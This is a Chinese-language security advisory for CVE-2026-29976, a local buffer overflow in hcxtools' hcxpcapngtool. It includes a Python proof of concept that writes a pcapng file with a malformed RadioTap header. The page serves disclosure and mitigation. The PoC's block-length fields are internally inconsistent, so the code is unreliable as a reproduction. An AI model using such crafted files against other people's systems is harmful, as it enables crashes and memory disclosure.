IPBUF安全漏洞报告
English
CVE-2026-29976 CVSS 6.2 中危

CVE-2026-29976 ZerBea hcxtools 缓冲区溢出漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-29976
漏洞类型
缓冲区溢出
CVSS评分
6.2 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ZerBea hcxtools (hcxpcapngtool)

相关标签

缓冲区溢出ZerBeahcxtools信息泄露本地漏洞

漏洞概述

CVE-2026-29976 是 ZerBea hcxtools 组件中的安全漏洞。该漏洞源于 hcxpcapngtool 工具中的 getradiotapfield() 函数存在边界检查缺失,导致缓冲区溢出。本地攻击者可利用此漏洞,在无需认证和用户交互的情况下,通过构造特定的输入数据获取敏感信息或导致服务不可用。

技术细节

该漏洞的核心触发点位于 hcxpcapngtool 处理网络数据包捕获文件的解析逻辑中,特别是 getradiotapfield() 函数。该函数负责解析 RadioTap 协议头部,但在实现时未正确验证传入数据包的长度字段是否与实际提供的缓冲区大小匹配。当处理包含畸形 RadioTap 头部的 PCAPNG 文件时,程序会发生越界读取。由于 CVSS 向量显示 AV:L(本地攻击)且 PR:N(无需权限),攻击者只需在本地执行该工具并加载恶意文件即可触发漏洞。这可能导致内存中的敏感信息泄露,或因段错误导致程序崩溃(可用性影响)。

攻击链分析

STEP 1
步骤1
攻击者创建一个包含畸形RadioTap头部的恶意PCAPNG文件。
STEP 2
步骤2
攻击者诱导受害者或在本地环境运行hcxpcapngtool处理该文件。
STEP 3
步骤3
工具解析文件时,getradiotapfield()函数触发缓冲区溢出。
STEP 4
步骤4
利用成功可能导致内存敏感信息泄露或程序崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import struct # Simplified PoC to generate a malformed pcapng file that might trigger the buffer overflow # This creates a minimal pcapng structure with a crafted RadioTap header. def generate_malformed_pcapng(filename): with open(filename, 'wb') as f: # Section Header Block (SHB) shb = b'\x0A\x0D\x0D\x0A' # Block Type shb += struct.pack('<I', 28) # Block Total Length shb += b'\x1A\x2B\x3C\x4D' # Byte Order Magic shb += struct.pack('<H', 1) # Version Major shb += struct.pack('<H', 0) # Version Minor shb += struct.pack('<I', 0xFFFFFFFF) # Section Length (unspecified) shb += struct.pack('<I', 28) # Block Total Length (again) # Interface Description Block (IDB) idb = struct.pack('<I', 1) # Block Type: IDB idb += struct.pack('<I', 20) # Block Total Length idb += struct.pack('<H', 1) # LinkType: Ethernet idb += struct.pack('<H', 0) # Reserved idb += struct.pack('<I', 0) # SnapLen idb += struct.pack('<I', 20) # Block Total Length (again) # Enhanced Packet Block (EPB) with malformed RadioTap epb = struct.pack('<I', 6) # Block Type: EPB # Packet Data: Minimal RadioTap header + malformed length # RadioTap header: Version (0), Pad (0), Length (0xFFFF - invalid large length) # Potential trigger for buffer overflow in getradiotapfield() malformed_radiotap = b'\x00\x00\xFF\xFF' + b'A' * 100 packet_len = 20 + len(malformed_radiotap) epb += struct.pack('<I', packet_len) # Block Total Length epb += struct.pack('<I', 0) # Interface ID epb += struct.pack('<I', 0xFFFFFFFF) # Timestamp High epb += struct.pack('<I', 0xFFFFFFFF) # Timestamp Low epb += struct.pack('<I', len(malformed_radiotap)) # Captured Len epb += struct.pack('<I', len(malformed_radiotap)) # Packet Len epb += malformed_radiotap epb += struct.pack('<I', packet_len) # Block Total Length (again) f.write(shb + idb + epb) print(f"[+] Malformed pcapng file generated: {filename}") print("[+] Usage: ./hcxpcapngtool -o output.pcap " + filename) if __name__ == "__main__": generate_malformed_pcapng('exploit.pcapng')

影响范围

ZerBea hcxtools v. 7.0.1-43-g2ee308e

防御指南

临时缓解措施
在官方修复补丁发布前,建议限制对 hcxpcapngtool 工具的访问权限,仅允许受信任的用户使用。同时,应避免处理来自不可信来源的捕获文件,以防止潜在的本地漏洞利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表